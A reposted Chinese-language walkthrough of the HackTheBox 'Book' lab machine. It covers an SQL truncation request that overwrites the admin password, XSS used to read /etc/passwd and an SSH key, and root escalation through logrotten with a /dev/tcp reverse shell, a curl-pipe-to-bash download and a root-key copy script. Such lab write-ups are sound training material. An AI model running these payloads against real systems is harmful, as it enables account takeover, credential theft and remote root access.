ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

HTB-靶机-Book

2021-06-09 15:36:51  阅读:213  来源: 互联网

标签:10.176 HTB Book 20% reader 10.10 靶机 com


本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.176

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

信息枚举收集
https://github.com/codingo/Reconnoitre 跟autorecon类似
autorecon 10.10.10.176 -o ./Book-autorecon

sudo nmap -sT -p- --min-rate 10000 -oA scans/alltcp 10.10.10.176
或者

sudo masscan -p1-65535,U:1-65535 10.10.10.176 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
sudo nmap -Pn -sV -sC -p$ports 10.10.10.176

就开放2个端口,我们直接访问80端口

注册一个普通用户cntf@qq.com 密码是cntf 登录进去后发现有个邮箱admin@book.htb

尝试使用admin账户再次注册,发现显示已经注册了再回头看看访问页面的网页源码

function validateForm() {
  var x = document.forms["myForm"]["name"].value;
  var y = document.forms["myForm"]["email"].value;
  if (x == "") {
    alert("Please fill name field. Should not be more than 10 characters");
    return false;
  }
  if (y == "") {
    alert("Please fill email field. Should not be more than 20 characters");
    return false;
  }
}

得知用户名和密码在前端js验证,要求name不超过10个字符,email不超过20个字符,通过测试验证得知目标靶机存在管理员用户admin,可以通过sql truncation 方式直接覆盖管理员密码登录此管理员账户,下面具体构造的请求包信息,相关资料参考:
https://resources.infosecinstitute.com/topic/sql-truncation-attack/

 具体的请求代码

POST http://10.10.10.176/index.php HTTP/1.1
Host: 10.10.10.176
Content-Length: 131
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.10.176
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.41
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.10.176/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=7jrb2lpgs8i98e7v084qoinj75
Connection: close

name=admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20cntf&email=admin%40book.htb%20%20%20%20%20%20cntf@qq.com&password=adminadmin

上传成功之后会重置目标靶机的admin账户的密码为adminadmin 登录的邮箱是admin@book.htb

看到上面的pdf文件,下载下来是目标靶机的账户信息,测试了一把没发现啥东西,再回头登录普通用户cntf ,登录成功之后再Collections功能模块处测试发现存在xss漏洞,直接通过xss漏洞读取目标靶机的/etc/passwd 和home下的文件内容,最终得到用户reader的私钥

用户admin账户登录的权限再次刷新页面,下载pdf文件

使用上面的私钥登录到目标靶机

ssh -i book_id_rsa reader@10.10.10.176

通过linpeas收集信息

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

curl 10.10.14.16:8000/linpeas.sh | bash

得知家目录下reader下的backups目录的access.log是可写的,然后日志轮询logrotate的功能是root权限运行,那么就可以此种方式进行提权了,参考:https://github.com/whotwagner/logrotten  再判断一下运行的进程和权限

[+] Writable log files (logrotten) (limit 100)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#logrotate-exploitation
Writable: /home/reader/backups/access.log.1
Writable: /home/reader/backups/access.log

wget 10.10.14.16:8000/pspy64s && chmod +x pspy64s

确认可以通过logrotate的轮询方式进行提权,因为其使用root权限进行周期运行,具体操作步骤如下:

1.本地kali下载编译为一个二进制文件
git clone https://github.com/whotwagner/logrotten
gcc logrotten.c -o logrotten   (这里我改名为logrotate)

2.写一个反弹shell代码
#!/bin/bash
bash -c "/bin/bash -i >& /dev/tcp/10.10.14.16/8833 0>&1" &

或者上面代码直接复制root用户的私钥
#!/bin/bash
cp /root/.ssh/id_rsa /tmp/rootkey
chown reader.reader /tmp/rootkey

保存为bookshell

3.本地kali使用python3搭建简易web提供下载功能
python3 -m http.server

4.目标靶机上下载exploit文件
wget 10.10.14.16:8000/logrotate
wget 10.10.14.16:8000/bookshell
chmod +x logrotate bookshell

5.触发exploit反弹shell
./logrotate -d -p bookshell /home/reader/backups/access.log
echo cntf >> /home/reader/backups/access.log

上面执行完成会在 /etc/bash_completion.d/ 生成反弹shell代码等待logrotten执行

6.本地kali监听反弹端口
nc -lvnp 8833

标签:10.176,HTB,Book,20%,reader,10.10,靶机,com
来源: https://www.cnblogs.com/autopwn/p/14867051.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有